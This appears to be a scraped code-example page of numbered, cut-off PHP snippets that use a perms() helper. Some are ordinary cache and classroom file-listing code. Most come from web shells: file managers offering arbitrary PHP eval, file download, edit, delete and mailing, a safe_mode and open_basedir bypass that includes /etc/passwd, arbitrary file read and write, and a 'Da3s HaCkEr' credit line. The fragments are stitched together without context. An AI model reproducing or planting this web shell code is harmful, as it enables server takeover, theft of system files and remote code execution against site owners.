Beispiel #1
0
 public function __construct($duration = '', $location = '')
 {
     $this->duration = $duration != '' ? $duration : CACHE_TIME;
     $this->location = $location != '' ? $location : '/app/cache';
     if (perms($this->location) != '777') {
         display_error('Please make your cache writable by running the following command $ chmod -R 777 ' . path($this->location));
     }
 }
Beispiel #2
0
 public function setUserCookie($path)
 {
     if (!file_exists(path($path))) {
         $file = new File();
         if (perms('/app/cache/') != '777') {
             display_system('The path to the file ' . path($path) . ' is not writable.<br />Please enter chmod -R 777 ' . path('/app/cache/') . ' on your terminal to fix this.');
         } else {
             $file->write($path, ' ');
             chmod(path($path), 0755);
         }
     }
     $this->user_cookie = path($path);
 }
Beispiel #3
0
function viewPermsColor($f)
{
    if (!@is_readable($f)) {
        return '<font color=#FF0000><b>' . perms(@fileperms($f)) . '</b></font>';
    } elseif (!@is_writable($f)) {
        return '<font color=white><b>' . perms(@fileperms($f)) . '</b></font>';
    } else {
        return '<font color=#FFDB5F><b>' . perms(@fileperms($f)) . '</b></font>';
    }
}
Beispiel #4
0
function viewPermsColor($f) { 
	if (!is_readable($f))
		return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
	elseif (!is_writable($f))
		return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
	else
		return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
}
function safe_ex($in)
{
    if ($in) {
        $d = dir('.');
        while (false !== ($file = $d->read())) {
            if ($file == "." || $file == "..") {
                continue;
            }
            @clearstatcache();
            list($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
            if (!$unix) {
                echo date("d.m.Y H:i", $mtime) . " ";
                if (@is_dir($file)) {
                    echo " <DIR> ";
                } else {
                    printf("% 7s ", $size);
                }
            } else {
                $owner = @posix_getpwuid($uid);
                $grgid = @posix_getgrgid($gid);
                echo $inode . " ";
                echo perms(@fileperms($file));
                printf("% 4d % 9s % 9s %7s ", $nlink, $owner['name'], $grgid['name'], $size);
                echo date("d.m.Y H:i ", $mtime);
            }
            echo "{$file}\n";
        }
        $d->close();
    }
    function safe_read($in)
    {
        echo ini_get("safe_mode");
        echo ini_get("open_basedir");
        include "/etc/passwd";
        ini_restore("safe_mode");
        ini_restore("open_basedir");
        echo ini_get("safe_mode");
        echo ini_get("open_basedir");
        file_get_contents($in);
    }
}
Beispiel #6
0
                 continue;
             }
             @clearstatcache();
             list($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
             if ($windows) {
                 echo date("d.m.Y H:i", $mtime);
                 if (@is_dir($file)) {
                     echo "  <DIR> ";
                 } else {
                     printf("% 7s ", $size);
                 }
             } else {
                 $owner = @posix_getpwuid($uid);
                 $grgid = @posix_getgrgid($gid);
                 echo $inode . " ";
                 echo perms(@fileperms($file));
                 printf("% 4d % 9s % 9s %7s ", $nlink, $owner['name'], $grgid['name'], $size);
                 echo date("d.m.Y H:i ", $mtime);
             }
             echo "{$file}\n";
         }
         $d->close();
     } else {
         echo $lang[$language . _text29];
     }
     break;
 case 'safe_file':
     if (@is_file($_POST['file'])) {
         $file = @file($_POST['file']);
         if ($file) {
             $c = @sizeof($file);
Beispiel #7
0
            $directory = $directory . "<tr><td>{$filename}</td><td>" . filetype($filename) . "</td><td></td><td>" . date("G:i j M Y", fileatime($filename)) . "</td><td>" . date("G:i j M Y", filemtime($filename)) . "</td><td>" . perms(fileperms($filename));
            if (is_writable($filename) == true) {
                $directory = $directory . "<td>Yes</td>";
            } else {
                $directory = $directory . "<td>No</td>";
            }
            if (is_readable($filename) == true) {
                $directory = $directory . "<td>Yes</td>";
            } else {
                $directory = $directory . "<td>No</td>";
            }
            $dires = $dires . $directory;
        }
        if (is_file($filename) == true) {
            $file = "";
            $file = $file . "<tr><td><a onclick=tag('{$filename}')>{$filename}</a></td><td>" . filetype($filename) . "</td><td>" . filesize($filename) . "</td><td>" . date("G:i j M Y", fileatime($filename)) . "</td><td>" . date("G:i j M Y", filemtime($filename)) . "</td><td>" . perms(fileperms($filename));
            if (is_writable($filename) == true) {
                $file = $file . "<td>Yes</td>";
            } else {
                $file = $file . "<td>No</td>";
            }
            if (is_readable($filename) == true) {
                $file = $file . "<td>Yes</td></td></tr>";
            } else {
                $file = $file . "<td>No</td></td></tr>";
            }
            $files = $files . $file;
        }
    }
}
echo $dires;
Beispiel #8
0
    function showdir($df)
    {
        $df = str_replace("//", "/", $df);
        $dirs = array();
        $files = array();
        if ($dir = opendir($df)) {
            while (($file = readdir($dir)) !== false) {
                if ($file == "." || $file == "..") {
                    continue;
                }
                if (is_dir("{$df}/{$file}")) {
                    $dirs[] = $file;
                } else {
                    $files[] = $file;
                }
            }
        }
        closedir($dir);
        sort($dirs);
        sort($files);
        echo <<<EOF
<table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC">
EOF;
        for ($i = 0; $i < count($dirs); $i++) {
            $perm = perms("{$df}/{$dirs[$i]}");
            echo <<<EOF
  <tr height="1">
    <td width="1" height="1" align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF"><span class="style2"><a href="{$PHP_SELF}?d={$df}/{$dirs[$i]}&show"><img HSPACE=3 border=0 src={$PHP_SELF}?imgname=dir></a></span></td>
    <td width="241" bgcolor="#FFFFF0"><a href="{$PHP_SELF}?d={$df}/{$dirs[$i]}&show">{$dirs[$i]}</a></td>
    <td width="100" align="center" bgcolor="#FFFFFF"><a href="{$PHP_SELF}?deldir={$df}/{$dirs[$i]}/">Удалить</a></td>
    <td width="51" align="center" bgcolor="#EFFFFF"><span class="style8"><center>Каталог</center></span></td>
    <td width="113" align="center" bgcolor="#FFFFF0">{$perm}</td>
  </tr>
EOF;
        }
        for ($i = 0; $i < count($files); $i++) {
            $attr = "";
            if (!($fi = @fopen("{$df}/{$files[$i]}", "r+"))) {
                $attr = " ONLY_READ ";
                $read = " href=\"{$PHP_SELF}?edit={$df}/{$files[$i]}&readonly\"";
                $write = " href=\"{$PHP_SELF}?delfile={$df}/{$files[$i]}\"";
            } else {
                fclose($fi);
            }
            if (!($fi = @fopen("{$df}/{$files[$i]}", "r"))) {
                $attr = " Can't_READ ";
                $read = "";
                $write = " href=\"{$PHP_SELF}?delfile={$df}/{$files[$i]}\"";
            } else {
                fclose($fi);
            }
            if ($attr == "") {
                $attr = " READ/WRITE ";
                $read = " href=\"{$PHP_SELF}?edit={$df}/{$files[$i]}\"";
                $write = " href=\"{$PHP_SELF}?delfile={$df}/{$files[$i]}\"";
            }
            $perm = perms("{$df}/{$files[$i]}");
            $it = "file";
            switch (ext($files[$i])) {
                case ".txt":
                    $it = "txt";
                    break;
                case ".php":
                    $it = "txt";
                    break;
                case ".htm":
                    $it = "txt";
                    break;
                case ".log":
                    $it = "txt";
                    break;
                case ".pl":
                    $it = "txt";
                    break;
                case ".asm":
                    $it = "txt";
                    break;
                case ".bat":
                    $it = "txt";
                    break;
                case ".bash_profile":
                    $it = "txt";
                    break;
                case ".bash_history":
                    $it = "txt";
                    break;
                case ".ini":
                    $it = "txt";
                    break;
                case ".php3":
                    $it = "txt";
                    break;
                case ".html":
                    $it = "txt";
                    break;
                case ".cgi":
                    $it = "txt";
                    break;
                case ".inc":
                    $it = "txt";
                    break;
                case ".c":
                    $it = "txt";
                    break;
                case ".cpp":
                    $it = "txt";
                    break;
            }
            $fsize = fsize("{$df}/{$files[$i]}");
            echo <<<EOF
  <tr height="1">
    <td width="1" height="1" align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF"><span class="style2"><a href="{$PHP_SELF}?downloadfile={$df}/{$files[$i]}"><img HSPACE=3 border=0 src={$PHP_SELF}?imgname={$it}></a></span></td>
    <td width="241" bgcolor="#00FFFF"><a{$read}>{$files[$i]} </a> ({$fsize})</td>
    <td width="100" align="center" bgcolor="#FFFFFF"><a href="{$PHP_SELF}?rename=1&filetorename={$files[$i]}&d={$df}&diz">ren</a>/<a{$write}>del</a>/<a href="{$PHP_SELF}?downloadfile={$df}/{$files[$i]}">get</a>/<a href="{$PHP_SELF}?mailfile={$df}/{$files[$i]}">mail</a></td>
    <td width="51" align="center" bgcolor="#FFEFEF"><span class="style8"><center>{$attr}</center></span></td>
    <td width="113" align="center" bgcolor="#FFFFF9">{$perm}</td>
  </tr>
EOF;
        }
        echo "</table>";
        if (count($dirs) == 0 && count($files) == 0) {
            echo <<<EOF
<table width="505" height="24" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC">
  <tr>
    <td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF">Папка пуста</td>
  </tr>
</table>
EOF;
        }
    }
	<tbody>
<?php 
                                                    $s_scandir = scandir($s_patch_i);
                                                    foreach ($s_scandir as $key => $value_dir) {
                                                        $s_fpatch = "{$s_patch_i}/{$value_dir}";
                                                        if (!is_dir($s_fpatch) || !$value_dir == "." || !$value_dir == "..") {
                                                            $url_href = "?view=";
                                                        } else {
                                                            $url_href = "?cd=";
                                                        }
                                                        echo '<tr>		
	<td style="width:24px;">~</td>
	<td><a href="' . $url_href . $s_fpatch . '">' . $value_dir . '</a></td>
	<td>' . filesize_formatted($value_dir) . '</td>
	<td><small>' . date("d F Y H:i:s", filemtime($value_dir)) . '</small></td>
	<td style="width:10px;">' . perms($s_fpatch) . '</td>
	<td>';
                                                        if (!is_dir($s_fpatch) || !$value_dir == "." || !$value_dir == "..") {
                                                            ?>
<form action="" method="post">
<select name="opsi">
	<option value="delete">Hapus</option>
	<option value="edit">Edit</option>
	<option value="rename">Rename</option>
	<option value="download">Download</option>
</select>
<input type="hidden" name="s_patch_lct" value="<?php 
                                                            echo $s_fpatch;
                                                            ?>
">
<input type="hidden" name="s_name_file" value="<?php 
Beispiel #10
0
function list_files($file_paths, $root_path, $class_folder, array $code_exts, array $validation_exts, $due_date = null)
{
    // Prepare header row
    $output = "<table>\n<tr>";
    $output .= "<th>Permission</th>";
    //$output .= "<th>User</th>";
    //$output .= "<th>Group</th>";
    $output .= "<th>File</th></th>";
    $output .= "<th>Modify Date</th>";
    $output .= "<th>Size</th>";
    $output .= "<th>Extra</th>";
    $output .= "</tr>\n";
    foreach ($file_paths as $file_path) {
        $relative_path = substr($file_path, strlen($root_path) + 1);
        $split = split("/", $relative_path);
        $filename = $split[count($split) - 1];
        $stat = @stat($file_path);
        $output .= '<tr>';
        $output .= '<td>' . perms($stat['mode']) . '</td>';
        //$output .= '<td>' . $stat['uid'] . '</td>';
        //$output .= '<td>' . $stat['gid'] . '</td>';
        // Display the correct link to our files
        if (is_dir($file_path)) {
            $output .= "<td><a class=\"folder\" href=\"?folder={$relative_path}\"";
        } elseif (in_array(strtolower(pathinfo($file_path, PATHINFO_EXTENSION)), $code_exts)) {
            $output .= "<td><a class=\"code\" href=\"?file={$relative_path}\"";
        } else {
            $output .= "<td><a class=\"show\" target=\"_blank\" href=\"/{$class_folder}/{$relative_path}\"";
        }
        $output .= ">" . (is_null($due_date) ? $relative_path : $filename) . "</a></td>";
        // Show the date. Depending on the due date color the text
        $ctime = date('Y-m-d H:i:s', $stat['ctime']);
        $mtime = date('Y-m-d H:i:s', $stat['mtime']);
        $output .= "<td onMouseOver=\"this.innerHTML='{$ctime}'\" onMouseOut=\"this.innerHTML='{$mtime}'\" ";
        if (!is_null($due_date)) {
            if ($stat['ctime'] < $due_date and $stat['mtime'] < $due_date) {
                $output .= "class=\"success\"";
            } else {
                $output .= "class=\"error\"";
            }
        } elseif ($stat['ctime'] != $stat['mtime']) {
            $output .= "class=\"warning\"";
        }
        $output .= ">{$mtime}</td>";
        // Add a cell for the size. Ignore directories
        if (is_dir($file_path)) {
            $output .= "<td>&nbsp</td>";
        } else {
            $output .= '<td class="right">' . $stat['size'] . '</td>';
        }
        // Add a cell for a validation link. Only do it for files we're checking.
        if (in_array(strtolower(pathinfo($file_path, PATHINFO_EXTENSION)), $validation_exts)) {
            $server_name = filter_input(INPUT_SERVER, 'SERVER_NAME');
            $url = "https://{$server_name}/{$class_folder}/{$relative_path}";
            $output .= "<td><a target=\"_blank\" href=\"http://validator.w3.org/check?uri={$url}\">Validate</a></td>";
        } elseif (is_dir($file_path)) {
            $output .= "<td><a class=\"code\" href=\"?files={$relative_path}\">View Code</a></td>";
        }
        $output .= "<td>&nbsp;</td>";
        $output .= "</tr>\n";
    }
    $output .= "</table>\n";
    if (count($file_paths) == 0) {
        $output .= "<p class=\"error\">There are no files to display</p>";
    }
    return $output;
}
function perm($arr, $nth = null)
{
    if ($nth === null) {
        return perms($arr);
    }
    $result = array();
    $length = count($arr);
    while ($length--) {
        $f = factorial($length);
        $p = floor($nth / $f);
        $result[] = $arr[$p];
        array_delete_by_key($arr, $p);
        $nth -= $p * $f;
    }
    $result = array_merge($result, $arr);
    return $result;
}
Beispiel #12
0
            continue;
        }
        $size = filesize("{$path}/{$file}") / 1024;
        $size = round($size, 3);
        if ($size >= 1024) {
            $size = round($size / 1024, 2) . ' MB';
        } else {
            $size = $size . ' KB';
        }
        echo "<tr>\r\n        <td><a href=\"?filesrc={$path}/{$file}&path={$path}\">{$file}</a></td>\r\n        <td><center>" . $size . "</center></td>\r\n        <td><center>";
        if (is_writable("{$path}/{$file}")) {
            echo '<font color="green">';
        } elseif (!is_readable("{$path}/{$file}")) {
            echo '<font color="red">';
        }
        echo perms("{$path}/{$file}");
        if (is_writable("{$path}/{$file}") || !is_readable("{$path}/{$file}")) {
            echo '</font>';
        }
        echo "</center></td>\r\n        <td><center><form method=\"POST\" action=\"?option&path={$path}\">\r\n        <select name=\"opt\">\r\n\t    <option value=\"\"></option>\r\n        <option value=\"delete\">Delete</option>\r\n        <option value=\"chmod\">Chmod</option>\r\n        <option value=\"rename\">Rename</option>\r\n        <option value=\"edit\">Edit</option>\r\n        </select>\r\n        <input type=\"hidden\" name=\"type\" value=\"file\">\r\n        <input type=\"hidden\" name=\"name\" value=\"{$file}\">\r\n        <input type=\"hidden\" name=\"path\" value=\"{$path}/{$file}\">\r\n        <input type=\"submit\" value=\">\" />\r\n        </form></center></td>\r\n        </tr>";
    }
    echo '</table>
    </div>';
}
echo '<br />Da3s File Manager Version <font color="red">1.0</font>, Coded By <font color="red">Da3s HaCkEr</font><br />Email: <font color="red">R0@hotmail.com</font>
</BODY>
</HTML>';
function perms($file)
{
    $perms = fileperms($file);
    if (($perms & 0xc000) == 0xc000) {
                    if (@($dh = opendir(chr($j) . ":/"))) {
                        $content .= '<a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\'' . chr($j) . ':/\'; document.reqs.submit();"> ' . chr($j) . '<a/>';
                    }
                }
                $content .= "</td></tr>";
            }
            $content .= "<tr><td>Name dirs and files</td><td>type</td><td>size</td><td>permission</td><td>options</td></tr>";
            for ($i = 0; $i < count($dire); $i++) {
                $link = $dir . $dire[$i];
                $content .= '<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\'' . $link . '\'; document.reqs.submit();">' . $dire[$i] . '<a/></td>
<td>dir</td><td></td><td>' . perms($link) . '</td><td><a href="#" onclick="document.reqs.action.value=\'deletedir\'; document.reqs.file.value=\'' . $link . '\'; document.reqs.submit();" title="Delete this file">X</a></td></tr>';
            }
            for ($i = 0; $i < count($files); $i++) {
                $linkfile = $dir . $files[$i];
                $content .= '<tr><td><a href="#" onclick="document.reqs.action.value=\'editor\';document.reqs.dir.value=\'' . $dir . '\'; document.reqs.file.value=\'' . $linkfile . '\'; document.reqs.submit();">' . $files[$i] . '</a><br></td>
<td>file</td><td>' . view_size(filesize($linkfile)) . '</td><td>' . perms($linkfile) . '</td><td><a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\'' . $linkfile . '\';document.reqs.dir.value=\'' . $dir . '\'; document.reqs.submit();" title="Download">D</a>
<a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\'' . $linkfile . '\';document.reqs.dir.value=\'' . $dir . '\'; document.reqs.submit();" title="Edit">E</a><a href="#" onclick="document.reqs.action.value=\'delete\'; document.reqs.file.value=\'' . $linkfile . '\';document.reqs.dir.value=\'' . $dir . '\'; document.reqs.submit();" title="Delete this file">X</a></td></tr>';
            }
            $content .= "</table>";
        }
    }
}
//downloader
if ($action == 'download') {
    header('Content-Length:' . filesize($file) . '');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . $file . '"');
    readfile($file);
}
//phpeval
if ($action == 'phpeval') {
Beispiel #14
0
                $content .= "<tr><td>Select drive:";
                for ($j = ord('C'); $j <= ord('Z'); $j++) {
                    if (@($dh = opendir(chr($j) . ":/"))) {
                        $content .= '<a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\'' . chr($j) . ':/\'; document.reqs.submit();"> ' . chr($j) . '<a/>';
                    }
                }
                $content .= "</td></tr>";
            }
            $content .= "<tr><td>Name dirs and files</td><td>type</td><td>size</td><td>permission</td><td>options</td></tr>";
            for ($i = 0; $i < count($dire); $i++) {
                $link = $dir . $dire[$i];
                $content .= '<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\'' . $link . '\'; document.reqs.submit();">' . $dire[$i] . '<a/></td><td>dir</td><td></td><td>' . perms($link) . '</td><td><a href="#" onclick="document.reqs.action.value=\'deletedir\'; document.reqs.file.value=\'' . $link . '\'; document.reqs.submit();" title="Delete this file">X</a></td></tr>';
            }
            for ($i = 0; $i < count($files); $i++) {
                $linkfile = $dir . $files[$i];
                $content .= '<tr><td><a href="#" onclick="document.reqs.action.value=\'editor\';document.reqs.dir.value=\'' . $dir . '\'; document.reqs.file.value=\'' . $linkfile . '\'; document.reqs.submit();">' . $files[$i] . '</a><br></td><td>file</td><td>' . view_size(filesize($linkfile)) . '</td><td>' . perms($linkfile) . '</td><td><a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\'' . $linkfile . '\';document.reqs.dir.value=\'' . $dir . '\'; document.reqs.submit();" title="Download">D</a><a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\'' . $linkfile . '\';document.reqs.dir.value=\'' . $dir . '\'; document.reqs.submit();" title="Edit">E</a><a href="#" onclick="document.reqs.action.value=\'delete\'; document.reqs.file.value=\'' . $linkfile . '\';document.reqs.dir.value=\'' . $dir . '\'; document.reqs.submit();" title="Delete this file">X</a></td></tr>';
            }
            $content .= "</table>";
        }
    }
}
//downloader
if ($action == "download") {
    header('Content-Length:' . filesize($file) . '');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . $file . '"');
    readfile($file);
}
//phpeval
if ($action == "phpeval") {
    $content .= "<form method=\"POST\">\n <input type=\"hidden\" name=\"action\" value=\"phpeval\">\n <input type=\"hidden\" name=\"dir\" value=\"" . $dir . "\">\n &lt;?php<br>\n <textarea name=\"phpev\" rows=\"5\" cols=\"150\">" . @$_POST['phpev'] . "</textarea><br>\n ?><br>\n <input type=\"submit\" value=\"execute\"></form>";
Beispiel #15
0
function scandire($dir)
{
    $dir = chdir($dir);
    $dir = getcwd() . "/";
    $dir = str_replace("\\", "/", $dir);
    if (is_dir($dir)) {
        if (@($dh = opendir($dir))) {
            while (($file = readdir($dh)) !== false) {
                if (filetype($dir . $file) == "dir") {
                    $dire[] = $file;
                }
                if (filetype($dir . $file) == "file") {
                    $files[] = $file;
                }
            }
            closedir($dh);
            @sort($dire);
            @sort($files);
            echo "<table cellSpacing=0 border=1 style=\"border-color:black;\" cellPadding=0 width=\"100%\">";
            echo "<tr><td><form method=POST>Open directory:<input type=text name=dir value=\"" . $dir . "\" size=50><input type=submit value=\"GO\"></form></td></tr>";
            if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
                echo "<tr><td>Select drive:";
                for ($j = ord('C'); $j <= ord('Z'); $j++) {
                    if (@($dh = opendir(chr($j) . ":/"))) {
                        echo '<a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\'' . chr($j) . ':/\'; document.reqs.submit();"> ' . chr($j) . '<a/>';
                    }
                }
                echo "</td></tr>";
            }
            echo "<tr><td>OS: " . @php_uname() . "</td></tr>\n<tr><td>name dirs and files</td><td>type</td><td>size</td><td>permission</td><td>options</td></tr>";
            for ($i = 0; $i < count($dire); $i++) {
                $link = $dir . $dire[$i];
                echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\'' . $link . '\'; document.reqs.submit();">' . $dire[$i] . '<a/></td><td>dir</td><td></td><td>' . perms($link) . '</td></tr>';
            }
            for ($i = 0; $i < count($files); $i++) {
                $linkfile = $dir . $files[$i];
                echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\'' . $linkfile . '\'; document.reqs.submit();">' . $files[$i] . '</a><br></td><td>file</td><td>' . view_size(filesize($linkfile)) . '</td>
<td>' . perms($linkfile) . '</td>
<td>
<a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\'' . $linkfile . '\'; document.reqs.submit();" title="Download">D</a>
<a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\'' . $linkfile . '\'; document.reqs.submit();" title="Edit">E</a></tr>';
            }
            echo "</table>";
        }
    }
}
Beispiel #16
0
    $arr = array_merge($arr, glob("*.*"));
    $arr = array_unique($arr);
    sort($arr);
    echo "<table width=100%><tr><td align=center><b>Name</td><td align=center><b>Type</td><td align=center><b>Size</td><td align=center><b>Perms</td><td align=center>Delete</td></tr>";
    foreach ($arr as $filename) {
        if ($filename != "." and $filename != "..") {
            if (is_dir($filename) == true) {
                $directory = "";
                $dc = str_replace("\\", "", dirname($_SERVER['PHP_SELF']));
                $directory = $directory . "<tr><td align=center>{$filename}</td><td align=center>" . ucwords(filetype($filename)) . "</td><td></td><td align=center>" . perms(fileperms($filename)) . "<td align=center><a href=" . $_SERVER['PHP_SELF'] . "?act=manager&del=" . $dc . ">Del</td>";
                $dires = $dires . $directory;
            }
            if (is_file($filename) == true) {
                $file = "";
                $link = str_replace(basename($_SERVER['REDIRECT_URL']), $filename, $_SERVER['REDIRECT_URL']);
                $file = $file . "<tr><td><a href=" . $link . " target=_blank>{$filename}</a></td><td>" . ucwords(filetype($filename)) . "</td><td>" . filesize($filename) . "</td><td>" . perms(fileperms($filename)) . "<td><a href=" . $_SERVER['PHP_SELF'] . "?act=manager&del=" . $filename . ">Del <a href=" . $_SERVER['PHP_SELF'] . "?act=manager&file=" . $filename . ">Edit</a></td>";
                $files = $files . $file;
            }
        }
    }
    echo $dires;
    echo $files;
    echo "</table><br>";
}
// view file ex: /etc/passwd
if (isset($_REQUEST['file'])) {
    $file = @$_REQUEST["file"];
    echo "<b>File :</b><font color=red>   " . $file . "</font>";
    $fp = fopen($file, "r+") or die("Ban khong co quyen de ghi vao File nay , hoac do khong tim thay File");
    $src = @fread($fp, filesize($file));
    echo "<center><hr color=777777 width=100% height=115px><form action=" . $_SERVER['REQUEST_URI'] . " method=post><TEXTAREA NAME=\"addtxt\" ROWS=\"5\" COLS=\"80\">" . htmlspecialchars(stripslashes($src)) . "</TEXTAREA><br><input type=submit value=Save></form><hr color=777777 width=100% height=115px>";